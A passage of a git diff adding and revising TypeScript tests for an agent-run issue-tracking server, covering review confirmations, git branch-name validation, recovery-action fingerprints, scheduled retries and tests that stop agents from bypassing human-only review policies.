     expect(mockLogActivity).toHaveBeenCalledWith(
       expect.anything(),
@@ -333,7 +377,9 @@ describe("issue execution policy routes", () => {
         action: "issue.updated",
         details: expect.not.objectContaining({ reviewInteractionId: expect.anything() }),
       }),
+      expect.any(Array),
     );
+    expect(mockLogActivity.mock.calls[0]?.[0]).toBe(mockIssueService.update.mock.calls[0]?.[2]);
   });
 
   it("binds an explicitly designated same-run confirmation to the review transition", async () => {
@@ -394,6 +440,63 @@ describe("issue execution policy routes", () => {
     );
   });
 
+  it("binds a user-designated confirmation to the review transition activity", async () => {
+    const issue = {
+      id: "aaaaaaaa-aaaa-4aaa-8aaa-aaaaaaaaaaaa",
+      companyId: "company-1",
+      status: "todo",
+      assigneeAgentId: null,
+      assigneeUserId: "local-board",
+      createdByUserId: "local-board",
+      identifier: "PAP-1004",
+      title: "Pending confirmation",
+      executionPolicy: null,
+      executionState: null,
+    };
+    mockIssueService.getById.mockResolvedValue(issue);
+    mockIssueThreadInteractionService.listForIssue.mockResolvedValue([{
+      id: "11111111-1111-4111-8111-111111111111",
+      kind: "request_confirmation",
+      status: "pending",
+      createdByAgentId: null,
+      createdByUserId: "local-board",
+      sourceRunId: null,
+      payload: { version: 1, prompt: "Approve this review?" },
+    }]);
+    mockIssueService.update.mockImplementation(async (_id: string, patch: Record<string, unknown>) => ({
+      ...issue,
+      ...patch,
+      changes: { status: { from: "todo", to: "in_review" } },
+      updatedAt: new Date(),
+    }));
+
+    const res = await request(await createApp())
+      .patch("/api/issues/aaaaaaaa-aaaa-4aaa-8aaa-aaaaaaaaaaaa")
+      .send({
+        status: "in_review",
+        reviewInteractionId: "11111111-1111-4111-8111-111111111111",
+      });
+
+    expect(res.status).toBe(200);
+    expect(mockIssueService.update).toHaveBeenCalledWith(
+      "aaaaaaaa-aaaa-4aaa-8aaa-aaaaaaaaaaaa",
+      expect.not.objectContaining({ reviewInteractionId: expect.anything() }),
+      expect.anything(),
+    );
+    expect(mockLogActivity).toHaveBeenCalledWith(
+      expect.anything(),
+      expect.objectContaining({
+        action: "issue.updated",
+        actorType: "user",
+        actorId: "local-board",
+        details: expect.objectContaining({
+          reviewInteractionId: "11111111-1111-4111-8111-111111111111",
+        }),
+      }),
+      expect.any(Array),
+    );
+  });
+
   it("keeps a review transition and its confirmation binding in one rollback boundary", async () => {
     const issue = {
       id: "aaaaaaaa-aaaa-4aaa-8aaa-aaaaaaaaaaaa",
@@ -537,6 +640,7 @@ describe("issue execution policy routes", () => {
           }),
         }),
       }),
+      expect.anything(),
     );
   });
 
@@ -590,6 +694,7 @@ describe("issue execution policy routes", () => {
         status: "in_review",
         monitorNextCheckAt: new Date("2026-12-01T12:00:00.000Z"),
       }),
+      expect.anything(),
     );
   });
 
@@ -618,6 +723,18 @@ describe("issue execution policy routes", () => {
       .send({ status: "in_review" });
 
     expect(res.status).toBe(200);
+    expect(mockDb.transaction).toHaveBeenCalled();
+    expect(mockLogActivity).toHaveBeenCalledWith(
+      expect.anything(),
+      expect.objectContaining({
+        action: "issue.updated",
+        actorType: "user",
+        actorId: "local-board",
+        details: expect.objectContaining({ status: "in_review" }),
+      }),
+      expect.any(Array),
+    );
+    expect(mockLogActivity.mock.calls[0]?.[0]).toBe(mockIssueService.update.mock.calls[0]?.[2]);
     expect(mockIssueThreadInteractionService.listForIssue).not.toHaveBeenCalled();
     expect(mockIssueApprovalService.listApprovalsForIssue).not.toHaveBeenCalled();
   });
@@ -674,6 +791,7 @@ describe("issue execution policy routes", () => {
         actorAgentId: null,
         actorUserId: "local-board",
       }),
+      expect.anything(),
     );
     expect(mockHeartbeatService.cancelRun).not.toHaveBeenCalled();
   });
@@ -730,6 +848,7 @@ describe("issue execution policy routes", () => {
         actorAgentId: null,
         actorUserId: "local-board",
       }),
+      expect.anything(),
     );
     const updatePatch = mockIssueService.update.mock.calls[0]?.[1] as Record<string, unknown>;
     expect(updatePatch.status).toBe("cancelled");
diff --git a/server/src/__tests__/issue-existing-branch-validation-status.test.ts b/server/src/__tests__/issue-existing-branch-validation-status.test.ts
new file mode 100644
index 00000000000..8c7a3184bb0
--- /dev/null
+++ b/server/src/__tests__/issue-existing-branch-validation-status.test.ts
@@ -0,0 +1,212 @@
+import express from "express";
+import { readFileSync } from "node:fs";
+import request from "supertest";
+import { describe, expect, it, vi } from "vitest";
+import {
+  createAcceptedPlanDecompositionSchema,
+  createIssueSchema,
+  runRoutineSchema,
+  updateIssueSchema,
+} from "@paperclipai/shared";
+import { z } from "zod";
+import { errorHandler } from "../middleware/error-handler.js";
+import { validateIssueMutationBody } from "../middleware/validate.js";
+
+const EXISTING_BRANCH_PATH = ["executionWorkspaceSettings", "workspaceStrategy", "existingBranch"];
+
+// Mirrors the route-level schema in routes/issues.ts.
+const updateIssueRouteSchema = updateIssueSchema.extend({
+  interrupt: z.boolean().optional(),
+});
+
+function buildApp(schema: Parameters<typeof validateIssueMutationBody>[0]) {
+  const handler = vi.fn((_req: express.Request, res: express.Response) => {
+    res.status(200).json({ ok: true });
+  });
+  const app = express();
+  app.use(express.json());
+  app.post("/target", validateIssueMutationBody(schema), handler);
+  app.use(errorHandler);
+  return { app, handler };
+}
+
+function settingsBody(settings: Record<string, unknown>) {
+  return { executionWorkspaceSettings: settings };
+}
+
+describe("existingBranch issue create/update validation status", () => {
+  it("returns 422 with field details for invalid branch syntax on update", async () => {
+    const { app, handler } = buildApp(updateIssueRouteSchema);
+    const res = await request(app).post("/target").send(settingsBody({
+      mode: "isolated_workspace",
+      workspaceStrategy: { type: "git_worktree", existingBranch: "bad..branch" },
+    }));
+    expect(res.status).toBe(422);
+    expect(res.body.error).toBe("Validation error");
+    expect(res.body.details).toHaveLength(1);
+    expect(res.body.details[0].path).toEqual(EXISTING_BRANCH_PATH);
+    expect(res.body.details[0].message).toBe("existingBranch must be a valid git branch name");
+    expect(handler).not.toHaveBeenCalled();
+  });
+
+  it("returns 422 for placement outside isolated_workspace + git_worktree on update", async () => {
+    const { app, handler } = buildApp(updateIssueRouteSchema);
+    const res = await request(app).post("/target").send(settingsBody({
+      mode: "shared_workspace",
+      workspaceStrategy: { type: "project_primary", existingBranch: "feature/pinned" },
+    }));
+    expect(res.status).toBe(422);
+    const messages = res.body.details.map((detail: { message: string }) => detail.message).sort();
+    expect(messages).toEqual([
+      'existingBranch requires mode "isolated_workspace"',
+      'existingBranch requires workspaceStrategy.type "git_worktree"',
+    ]);
+    for (const detail of res.body.details) {
+      expect(detail.path).toEqual(EXISTING_BRANCH_PATH);
+    }
+    expect(handler).not.toHaveBeenCalled();
+  });
+
+  it("returns 422 when existingBranch is combined with branchTemplate on update", async () => {
+    const { app, handler } = buildApp(updateIssueRouteSchema);
+    const res = await request(app).post("/target").send(settingsBody({
+      mode: "isolated_workspace",
+      workspaceStrategy: {
+        type: "git_worktree",
+        existingBranch: "feature/pinned",
+        branchTemplate: "agent/{issue}",
+      },
+    }));
+    expect(res.status).toBe(422);
+    expect(res.body.details).toHaveLength(1);
+    expect(res.body.details[0].path).toEqual(EXISTING_BRANCH_PATH);
+    expect(res.body.details[0].message).toBe("existingBranch and branchTemplate are mutually exclusive");
+    expect(handler).not.toHaveBeenCalled();
+  });
+
+  it("returns 422 for the same semantic failures on create", async () => {
+    const { app, handler } = buildApp(createIssueSchema);
+    const res = await request(app).post("/target").send({
+      title: "Pinned worktree issue",
+      status: "todo",
+      ...settingsBody({
+        mode: "isolated_workspace",
+        workspaceStrategy: { type: "git_worktree", existingBranch: "-bad-leading-dash" },
+      }),
+    });
+    expect(res.status).toBe(422);
+    expect(res.body.details[0].path).toEqual(EXISTING_BRANCH_PATH);
+    expect(handler).not.toHaveBeenCalled();
+  });
+
+  it("returns 422 for an invalid branch on a routine-created issue", async () => {
+    const { app, handler } = buildApp(runRoutineSchema);
+    const res = await request(app).post("/target").send(settingsBody({
+      mode: "isolated_workspace",
+      workspaceStrategy: { type: "git_worktree", existingBranch: "bad..branch" },
+    }));
+    expect(res.status).toBe(422);
+    expect(res.body.details[0].path).toEqual(EXISTING_BRANCH_PATH);
+    expect(handler).not.toHaveBeenCalled();
+  });
+
+  it("returns 422 for an invalid branch nested in an accepted plan child", async () => {
+    const { app, handler } = buildApp(createAcceptedPlanDecompositionSchema);
+    const res = await request(app).post("/target").send({
+      acceptedPlanRevisionId: "11111111-1111-4111-8111-111111111111",
+      children: [{
+        title: "Pinned child",
+        status: "todo",
+        ...settingsBody({
+          mode: "isolated_workspace",
+          workspaceStrategy: { type: "git_worktree", existingBranch: "bad..branch" },
+        }),
+      }],
+    });
+    expect(res.status).toBe(422);
+    expect(res.body.details[0].path).toEqual(["children", 0, ...EXISTING_BRANCH_PATH]);
+    expect(handler).not.toHaveBeenCalled();
+  });
+
+  it("keeps 400 for validation failures unrelated to existingBranch", async () => {
+    const { app, handler } = buildApp(createIssueSchema);
+    const res = await request(app).post("/target").send({ title: 42, status: "todo" });
+    expect(res.status).toBe(400);
+    expect(res.body.error).toBe("Validation error");
+    expect(res.body.details.length).toBeGreaterThan(0);
+    expect(handler).not.toHaveBeenCalled();
+  });
+
+  it("keeps 400 when existingBranch and unrelated failures are mixed", async () => {
+    const { app, handler } = buildApp(createIssueSchema);
+    const res = await request(app).post("/target").send({
+      title: 42,
+      status: "todo",
+      ...settingsBody({
+        mode: "isolated_workspace",
+        workspaceStrategy: { type: "git_worktree", existingBranch: "bad..branch" },
+      }),
+    });
+    expect(res.status).toBe(400);
+    expect(handler).not.toHaveBeenCalled();
+  });
+
+  it("keeps 400 when a nested existingBranch failure is mixed with an unrelated child failure", async () => {
+    const { app, handler } = buildApp(createAcceptedPlanDecompositionSchema);
+    const res = await request(app).post("/target").send({
+      acceptedPlanRevisionId: "11111111-1111-4111-8111-111111111111",
+      children: [{
+        title: 42,
+        status: "todo",
+        ...settingsBody({
+          mode: "isolated_workspace",
+          workspaceStrategy: { type: "git_worktree", existingBranch: "bad..branch" },
+        }),
+      }],
+    });
+    expect(res.status).toBe(400);
+    expect(handler).not.toHaveBeenCalled();
+  });
+
+  it("passes a valid pinned existingBranch through to the handler", async () => {
+    const { app, handler } = buildApp(updateIssueRouteSchema);
+    const res = await request(app).post("/target").send(settingsBody({
+      mode: "isolated_workspace",
+      workspaceStrategy: { type: "git_worktree", existingBranch: "feature/pinned" },
+    }));
+    expect(res.status).toBe(200);
+    expect(handler).toHaveBeenCalledTimes(1);
+  });
+});
+
+describe("existingBranch issue mutation route registrations", () => {
+  const routes = [
+    {
+      source: readFileSync(new URL("../routes/issues.ts", import.meta.url), "utf8"),
+      schemas: [
+        "createIssueSchema",
+        "createChildIssueSchema",
+        "createAcceptedPlanDecompositionSchema",
+        "updateIssueRouteSchema",
+      ],
+    },
+    {
+      source: readFileSync(new URL("../routes/routines.ts", import.meta.url), "utf8"),
+      schemas: ["runRoutineSchema"],
+    },
+  ];
+
+  it("uses the semantic issue validator for every issue route schema with workspace settings", () => {
+    for (const { source, schemas } of routes) {
+      for (const schema of schemas) {
+        const validators = Array.from(
+          source.matchAll(new RegExp(`\\b(validate(?:IssueMutationBody)?)\\(${schema}\\)`, "g")),
+          (match) => match[1],
+        );
+        expect(validators, `${schema} must use validateIssueMutationBody at every route registration`).toEqual([
+          "validateIssueMutationBody",
+        ]);
+      }
+    }
+  });
+});
diff --git a/server/src/__tests__/issue-recovery-actions.test.ts b/server/src/__tests__/issue-recovery-actions.test.ts
index f5a2d036ddf..4fe95f14d47 100644
--- a/server/src/__tests__/issue-recovery-actions.test.ts
+++ b/server/src/__tests__/issue-recovery-actions.test.ts
@@ -331,6 +331,180 @@ describeEmbeddedPostgres("issue recovery actions", () => {
     });
   });
 
+  // Model the production payload: `requestedRef` keeps the operator spelling,
+  // and the fingerprint carries the canonical remote ref. Two equivalent
+  // spellings of one remote branch share `identityRef`, so they share one
+  // fingerprint. A different branch gets a different `identityRef`.
+  const makeUnresolvedBaseRefRun = (agentId: string, issueId: string) =>
+    (requestedRef: string, identityRef: string) =>
+      ({
+        id: randomUUID(),
+        agentId,
+        status: "failed",
+        error: `Configured workspace base ref "${requestedRef}" did not resolve to a commit on origin after an authenticated fetch.`,
+        errorCode: "configuration_incomplete",
+        contextSnapshot: { issueId },
+        livenessState: "needs_followup",
+        resultJson: {
+          configurationIncomplete: {
+            reason: "workspace_base_ref_unresolved",
+            requestedRef,
+            attemptedRefs: [identityRef],
+            fingerprint: `workspace_base_ref:${identityRef}`,
+          },
+        },
+      }) as const;
+
+  it("bounds configuration-incomplete recovery by the unresolved base ref fingerprint", async () => {
+    const { coderId, sourceIssue } = await seedCompany();
+    const enqueueWakeup = vi.fn(async () => null);
+    const recovery = recoveryService(db, { enqueueWakeup });
+    const makeRun = makeUnresolvedBaseRefRun(coderId, sourceIssue.id);
+
+    // Two reconciliations with the same unresolved ref reuse one active action.
+    await recovery.escalateStrandedAssignedIssue({
+      issue: sourceIssue,
+      previousStatus: "in_progress",
+      latestRun: makeRun("fix/foo", "origin/fix/foo"),
+      recoveryCause: "configuration_incomplete",
+    });
+    await recovery.escalateStrandedAssignedIssue({
+      issue: sourceIssue,
+      previousStatus: "in_progress",
+      latestRun: makeRun("fix/foo", "origin/fix/foo"),
+      recoveryCause: "configuration_incomplete",
+    });
+
+    const actions = await db
+      .select()
+      .from(issueRecoveryActions)
+      .where(eq(issueRecoveryActions.sourceIssueId, sourceIssue.id));
+    expect(actions).toHaveLength(1);
+    expect(actions[0]).toMatchObject({
+      cause: "configuration_incomplete",
+      status: "active",
+      attemptCount: 2,
+    });
+    // The fingerprint carries the canonical remote ref, so the same branch stays
+    // one action and a different branch would make a distinct fingerprint.
+    expect(actions[0]?.fingerprint).toBe(
+      `source_scoped_recovery:${sourceIssue.companyId}:${sourceIssue.id}:configuration_incomplete:workspace_base_ref:origin/fix/foo`,
+    );
+  });
+
+  it("keeps equivalent spellings of one unresolved base ref under one recovery identity", async () => {
+    const { coderId, sourceIssue } = await seedCompany();
+    const enqueueWakeup = vi.fn(async () => null);
+    const recovery = recoveryService(db, { enqueueWakeup });
+    const makeRun = makeUnresolvedBaseRefRun(coderId, sourceIssue.id);
+
+    // The operator retries the same remote branch under two spellings. Both map
+    // to the canonical `origin/fix/foo` identity, so recovery must not reset the
+    // attempt count or post a second notice.
+    await recovery.escalateStrandedAssignedIssue({
+      issue: sourceIssue,
+      previousStatus: "in_progress",
+      latestRun: makeRun("fix/foo", "origin/fix/foo"),
+      recoveryCause: "configuration_incomplete",
+    });
+    await recovery.escalateStrandedAssignedIssue({
+      issue: sourceIssue,
+      previousStatus: "in_progress",
+      latestRun: makeRun("origin/fix/foo", "origin/fix/foo"),
+      recoveryCause: "configuration_incomplete",
+    });
+
+    const actions = await db
+      .select()
+      .from(issueRecoveryActions)
+      .where(eq(issueRecoveryActions.sourceIssueId, sourceIssue.id));
+    // One identity, one active action, the attempt count advances.
+    expect(actions).toHaveLength(1);
+    expect(actions[0]).toMatchObject({
+      cause: "configuration_incomplete",
+      status: "active",
+      attemptCount: 2,
+    });
+    expect(actions[0]?.fingerprint).toBe(
+      `source_scoped_recovery:${sourceIssue.companyId}:${sourceIssue.id}:configuration_incomplete:workspace_base_ref:origin/fix/foo`,
+    );
+
+    // The operator gets one notice, bound to the one action.
+    const notices = await db
+      .select({ metadata: issueComments.metadata })
+      .from(issueComments)
+      .where(
+        and(
+          eq(issueComments.issueId, sourceIssue.id),
+          eq(issueComments.authorType, "system"),
+        ),
+      );
+    expect(
+      notices.filter((row) =>
+        noticeMetadataReferencesRecoveryAction(row.metadata, actions[0]!.id),
+      ),
+    ).toHaveLength(1);
+  });
+
+  it("gives a distinct recovery identity and a new operator notice when the unresolved base ref changes", async () => {
+    const { coderId, sourceIssue } = await seedCompany();
+    const enqueueWakeup = vi.fn(async () => null);
+    const recovery = recoveryService(db, { enqueueWakeup });
+    const makeRun = makeUnresolvedBaseRefRun(coderId, sourceIssue.id);
+
+    await recovery.escalateStrandedAssignedIssue({
+      issue: sourceIssue,
+      previousStatus: "in_progress",
+      latestRun: makeRun("fix/foo", "origin/fix/foo"),
+      recoveryCause: "configuration_incomplete",
+    });
+    await recovery.escalateStrandedAssignedIssue({
+      issue: sourceIssue,
+      previousStatus: "in_progress",
+      latestRun: makeRun("fix/bar", "origin/fix/bar"),
+      recoveryCause: "configuration_incomplete",
+    });
+
+    const actions = await db
+      .select()
+      .from(issueRecoveryActions)
+      .where(eq(issueRecoveryActions.sourceIssueId, sourceIssue.id));
+    // The prior ref keeps its own record and the new ref gets a fresh identity.
+    expect(actions).toHaveLength(2);
+    const priorAction = actions.find((row) =>
+      row.fingerprint.endsWith("workspace_base_ref:origin/fix/foo"),
+    );
+    const newAction = actions.find((row) =>
+      row.fingerprint.endsWith("workspace_base_ref:origin/fix/bar"),
+    );
+    expect(priorAction?.status).toBe("cancelled");
+    expect(priorAction?.outcome).toBe("cancelled");
+    expect(newAction?.status).toBe("active");
+    expect(newAction?.attemptCount).toBe(1);
+    expect(newAction?.id).not.toBe(priorAction?.id);
+
+    // The operator gets one notice per distinct ref, each bound to its action.
+    const systemComments = await db
+      .select({ metadata: issueComments.metadata })
+      .from(issueComments)
+      .where(
+        and(
+          eq(issueComments.issueId, sourceIssue.id),
+          eq(issueComments.authorType, "system"),
+        ),
+      );
+    expect(
+      systemComments.some((row) =>
+        noticeMetadataReferencesRecoveryAction(row.metadata, priorAction!.id),
+      ),
+    ).toBe(true);
+    expect(
+      systemComments.some((row) =>
+        noticeMetadataReferencesRecoveryAction(row.metadata, newAction!.id),
+      ),
+    ).toBe(true);
+  });
+
   it.each([
     ["process_lost", undefined, "coder"],
     ["adapter_failed", "successful_run_missing_state", "coder"],
@@ -882,7 +1056,7 @@ describeEmbeddedPostgres("issue recovery actions", () => {
     const [updatedIssue] = await db.select().from(issues).where(eq(issues.id, sourceIssueId));
     expect(updatedIssue).toMatchObject({
       status: "blocked",
-      assigneeAgentId: managerId,
+      assigneeAgentId: coderId,
     });
     const [updatedRun] = await db.select().from(heartbeatRuns).where(eq(heartbeatRuns.id, runId));
     expect(updatedRun?.errorCode).toBe("configuration_incomplete");
@@ -1412,7 +1586,7 @@ describeEmbeddedPostgres("issue recovery actions", () => {
     const { companyId, managerId, coderId, sourceIssueId } = await seedCompany();
     await db
       .update(issues)
-      .set({ status: "blocked", assigneeAgentId: managerId })
+      .set({ status: "blocked", assigneeAgentId: coderId })
       .where(eq(issues.id, sourceIssueId));
     const recoveryActionSvc = issueRecoveryActionService(db);
     const action = await recoveryActionSvc.upsertSourceScoped({
@@ -1832,7 +2006,7 @@ describeEmbeddedPostgres("issue recovery actions", () => {
     });
   });
 
-  it("allows the named recovery owner to resolve a board-owned source recovery action", async () => {
+  it("keeps the named recovery owner from completing a board-owned source issue", async () => {
     const { companyId, managerId, sourceIssueId } = await seedCompany();
     await db
       .update(issues)
@@ -1874,18 +2048,15 @@ describeEmbeddedPostgres("issue recovery actions", () => {
         sourceIssueStatus: "done",
         resolutionNote: "Recovery owner verified the work was intentionally completed.",
       })
-      .expect(200);
+      .expect(403);
 
-    expect(resolved.body.issue).toMatchObject({
-      id: sourceIssueId,
-      status: "done",
-      activeRecoveryAction: null,
-    });
-    expect(resolved.body.recoveryAction).toMatchObject({
-      id: action.id,
-      status: "resolved",
-      outcome: "owner_completed",
-    });
+    expect(resolved.body.details?.code).toBe("recovery_source_authority_required");
+    const [sourceAfter, actionAfter] = await Promise.all([
+      db.select().from(issues).where(eq(issues.id, sourceIssueId)).then((rows) => rows[0]),
+      db.select().from(issueRecoveryActions).where(eq(issueRecoveryActions.id, action.id)).then((rows) => rows[0]),
+    ]);
+    expect(sourceAfter).toMatchObject({ status: "blocked", assigneeUserId: "board-user" });
+    expect(actionAfter).toMatchObject({ status: "active", outcome: null });
   });
 
   it("rejects blocked recovery resolution when the source issue has no first-class blockers", async () => {
diff --git a/server/src/__tests__/issue-review-attention.test.ts b/server/src/__tests__/issue-review-attention.test.ts
index 4f92187b949..161853c765f 100644
--- a/server/src/__tests__/issue-review-attention.test.ts
+++ b/server/src/__tests__/issue-review-attention.test.ts
@@ -138,6 +138,7 @@ describeEmbeddedPostgres("issue review attention", () => {
   it("reports every healthy review path as covered", async () => {
     const { companyId, agentId } = await seed();
     const interactionIssueId = await insertReview({ companyId, agentId, identifier: "RVA-2" });
+    const humanOnlyInteractionIssueId = await insertReview({ companyId, agentId, identifier: "RVA-2H" });
     const approvalIssueId = await insertReview({ companyId, agentId, identifier: "RVA-3" });
     const monitorIssueId = await insertReview({
       companyId,
@@ -169,6 +170,18 @@ describeEmbeddedPostgres("issue review attention", () => {
       continuationPolicy: "wake_assignee",
       payload: { version: 1, prompt: "Approve?" },
     });
+    await db.insert(issueThreadInteractions).values({
+      companyId,
+      issueId: humanOnlyInteractionIssueId,
+      kind: "request_confirmation",
+      status: "pending",
+      continuationPolicy: "wake_assignee",
+      requestedResolverPolicy: "human_only",
+      effectiveResolverPolicy: "human_only",
+      resolverPolicyProvenance: "explicit",
+      effectiveResolverPolicySource: "requested",
+      payload: { version: 1, prompt: "Human review?" },
+    });
     const approvalId = randomUUID();
     await db.insert(approvals).values({
       id: approvalId,
@@ -201,6 +214,7 @@ describeEmbeddedPostgres("issue review attention", () => {
     const byId = new Map(rows.map((row) => [row.id, row.reviewAttention]));
     const expectedKinds = new Map([
       [interactionIssueId, "interaction"],
+      [humanOnlyInteractionIssueId, "interaction"],
       [approvalIssueId, "approval"],
       [monitorIssueId, "monitor"],
       [humanIssueId, "human_reviewer"],
@@ -215,6 +229,12 @@ describeEmbeddedPostgres("issue review attention", () => {
         paths: expect.arrayContaining([expect.objectContaining({ kind })]),
       });
     }
+    expect(byId.get(interactionIssueId)?.paths).toEqual(expect.arrayContaining([
+      expect.objectContaining({ kind: "interaction", responder: "Review Agent" }),
+    ]));
+    expect(byId.get(humanOnlyInteractionIssueId)?.paths).toEqual(expect.arrayContaining([
+      expect.objectContaining({ kind: "interaction", responder: "Board" }),
+    ]));
   });
 
   it("does not let a transiently skipped recovery consume its fingerprint", async () => {
diff --git a/server/src/__tests__/issue-review-policy.test.ts b/server/src/__tests__/issue-review-policy.test.ts
index b4588b8d8bc..856dbb8516d 100644
--- a/server/src/__tests__/issue-review-policy.test.ts
+++ b/server/src/__tests__/issue-review-policy.test.ts
@@ -197,6 +197,29 @@ describeEmbeddedPostgres("issue review verdict policy", () => {
     })).resolves.toBe(false);
   });
 
+  it("classifies an unbound legacy confirmation only when the review requester created it", async () => {
+    const seeded = await seedReview("not_creator");
+    await db.insert(activityLog).values({
+      companyId: seeded.companyId,
+      actorType: "agent",
+      actorId: seeded.requesterAgentId,
+      agentId: seeded.requesterAgentId,
+      action: "issue.updated",
+      entityType: "issue",
+      entityId: seeded.issue.id,
+      details: { status: "in_review", _previous: { status: "in_progress" } },
+    });
+
+    await expect(isIssueReviewVerdictInteraction(db, {
+      issue: seeded.issue,
+      interaction: { id: "legacy-review", createdByAgentId: seeded.requesterAgentId },
+    })).resolves.toBe(true);
+    await expect(isIssueReviewVerdictInteraction(db, {
+      issue: seeded.issue,
+      interaction: { id: "unrelated-confirmation", createdByAgentId: seeded.peerAgentId },
+    })).resolves.toBe(false);
+  });
+
   it("uses authenticated principal type for human_only", async () => {
     const seeded = await seedReview("human_only");
     expect(seeded.issue.reviewPolicy).toBe("human_only");
diff --git a/server/src/__tests__/issue-scheduled-retry-routes.test.ts b/server/src/__tests__/issue-scheduled-retry-routes.test.ts
index 2828e9ff001..d863fc6351e 100644
--- a/server/src/__tests__/issue-scheduled-retry-routes.test.ts
+++ b/server/src/__tests__/issue-scheduled-retry-routes.test.ts
@@ -223,6 +223,53 @@ describeEmbeddedPostgres("issue scheduled retry routes", () => {
     expect(res.body.scheduledRetry.scheduledRetryAt).toBe(scheduledRetryAt.toISOString());
   });
 
+  it.each(["queued", "running"] as const)(
+    "surfaces a %s retry with its real live status",
+    async (retryStatus) => {
+      const { companyId, issueId, retryRunId } = await seedIssueWithRetry({ retryStatus });
+
+      const res = await request(createApp(boardActor(companyId, "local_implicit"))).get(`/api/issues/${issueId}`);
+
+      expect(res.status, JSON.stringify(res.body)).toBe(200);
+      expect(res.body.scheduledRetry).toMatchObject({
+        runId: retryRunId,
+        status: retryStatus,
+        scheduledRetryReason: "transient_failure",
+      });
+    },
+  );
+
+  it("includes a blocker's live retry in relation summaries", async () => {
+    const { companyId, issueId: blockerId, retryRunId } = await seedIssueWithRetry({ retryStatus: "running" });
+    const blockedId = randomUUID();
+    await db.insert(issues).values({
+      id: blockedId,
+      companyId,
+      title: "Waiting for recovery",
+      status: "blocked",
+      priority: "medium",
+    });
+    await db.insert(issueRelations).values({
+      companyId,
+      issueId: blockerId,
+      relatedIssueId: blockedId,
+      type: "blocks",
+    });
+
+    const res = await request(createApp(boardActor(companyId, "local_implicit"))).get(`/api/issues/${blockedId}`);
+
+    expect(res.status, JSON.stringify(res.body)).toBe(200);
+    expect(res.body.blockedBy).toHaveLength(1);
+    expect(res.body.blockedBy[0]).toMatchObject({
+      id: blockerId,
+      scheduledRetry: {
+        runId: retryRunId,
+        status: "running",
+        scheduledRetryReason: "transient_failure",
+      },
+    });
+  });
+
   it("promotes the existing scheduled retry and treats duplicate clicks as idempotent", async () => {
     const { companyId, issueId, retryRunId } = await seedIssueWithRetry();
     const app = createApp(boardActor(companyId));
@@ -338,6 +385,28 @@ describeEmbeddedPostgres("issue scheduled retry routes", () => {
     });
   });
 
+  it("does not promote a scheduled retry after on-demand wakes are disabled", async () => {
+    const { companyId, agentId, issueId, retryRunId } = await seedIssueWithRetry();
+    await db
+      .update(agents)
+      .set({ runtimeConfig: { heartbeat: { wakeOnDemand: false } } })
+      .where(eq(agents.id, agentId));
+
+    const res = await request(createApp(boardActor(companyId)))
+      .post(`/api/issues/${issueId}/scheduled-retry/retry-now`)
+      .send({});
+
+    expect(res.status, JSON.stringify(res.body)).toBe(200);
+    expect(res.body).toMatchObject({
+      outcome: "gate_suppressed",
+      scheduledRetry: {
+        runId: retryRunId,
+        status: "cancelled",
+        errorCode: "heartbeat_wake_on_demand_disabled",
+      },
+    });
+  });
+
   it("requires board access for retry-now", async () => {
     const { companyId, agentId, issueId } = await seedIssueWithRetry();
 
diff --git a/server/src/__tests__/issue-stalled-review-decision-routes.test.ts b/server/src/__tests__/issue-stalled-review-decision-routes.test.ts
index 5da0303a269..1c6737f40ae 100644
--- a/server/src/__tests__/issue-stalled-review-decision-routes.test.ts
+++ b/server/src/__tests__/issue-stalled-review-decision-routes.test.ts
@@ -355,7 +355,7 @@ describeEmbeddedPostgres("stalled review decision routes", () => {
         code: "review_policy_denied",
         policy: "human_only",
         allowedActor: "authenticated_user_with_issue_write_access",
-        remediation: expect.stringContaining("authenticated user"),
+        remediation: "Have an authenticated user with issue write access submit the verdict.",
       },
     });
 
@@ -366,7 +366,7 @@ describeEmbeddedPostgres("stalled review decision routes", () => {
     expect(userVerdict.body).toMatchObject({ id: issueId, status: "cancelled" });
   });
 
-  it("allows an agent writer to relax reviewPolicy in the verdict patch", async () => {
+  it("does not let an agent bypass human_only by relaxing reviewPolicy in the verdict patch", async () => {
     const seeded = await seedCompany("RLP");
     const issueId = await seedReview({
       companyId: seeded.companyId,
@@ -380,8 +380,87 @@ describeEmbeddedPostgres("stalled review decision routes", () => {
       .patch(`/api/issues/${issueId}`)
       .send({ status: "done", reviewPolicy: "anyone" });
 
-    expect(verdict.status, JSON.stringify(verdict.body)).toBe(200);
-    expect(verdict.body).toMatchObject({ id: issueId, status: "done", reviewPolicy: "anyone" });
+    expect(verdict.status).toBe(403);
+    expect(verdict.body).toMatchObject({
+      details: {
+        code: "review_policy_denied",
+        policy: "human_only",
+        allowedActor: "authenticated_user_with_issue_write_access",
+        remediation: "Have an authenticated user with issue write access submit the verdict.",
+      },
+    });
+    const [persisted] = await db.select({
+      status: issues.status,
+      reviewPolicy: issues.reviewPolicy,
+    }).from(issues).where(eq(issues.id, issueId));
+    expect(persisted).toEqual({ status: "in_review", reviewPolicy: "human_only" });
+  });
+
+  it("does not let the review requester bypass not_creator by relaxing reviewPolicy in the verdict patch", async () => {
+    const seeded = await seedCompany("RNC");
+    const issueId = await seedReview({
+      companyId: seeded.companyId,
+      assigneeAgentId: seeded.assigneeAgentId,
+      identifier: "RNC-1",
+      reviewPolicy: "not_creator",
+    });
+    await db.insert(activityLog).values({
+      companyId: seeded.companyId,
+      actorType: "agent",
+      actorId: seeded.assigneeAgentId,
+      agentId: seeded.assigneeAgentId,
+      action: "issue.updated",
+      entityType: "issue",
+      entityId: issueId,
+      details: { status: "in_review", _previous: { status: "in_progress" } },
+    });
+    const runId = await seedRun(seeded.companyId, seeded.assigneeAgentId, issueId);
+
+    const verdict = await request(app(agentActor(seeded.companyId, seeded.assigneeAgentId, runId)))
+      .patch(`/api/issues/${issueId}`)
+      .send({ status: "done", reviewPolicy: "anyone" });
+
+    expect(verdict.status).toBe(403);
+    expect(verdict.body).toMatchObject({
+      details: {
+        code: "review_policy_denied",
+        policy: "not_creator",
+        allowedActor: "writer_other_than_review_requester",
+        remediation: "Have another writer with issue write access submit the verdict.",
+      },
+    });
+    const [persisted] = await db.select({
+      status: issues.status,
+      reviewPolicy: issues.reviewPolicy,
+    }).from(issues).where(eq(issues.id, issueId));
+    expect(persisted).toEqual({ status: "in_review", reviewPolicy: "not_creator" });
+  });
+
+  it("does not let an excluded actor relax an existing review policy in a separate patch", async () => {
+    const seeded = await seedCompany("RSP");
+    const issueId = await seedReview({
+      companyId: seeded.companyId,
+      assigneeAgentId: seeded.assigneeAgentId,
+      identifier: "RSP-1",
+      reviewPolicy: "human_only",
+    });
+    const runId = await seedRun(seeded.companyId, seeded.assigneeAgentId, issueId);
+
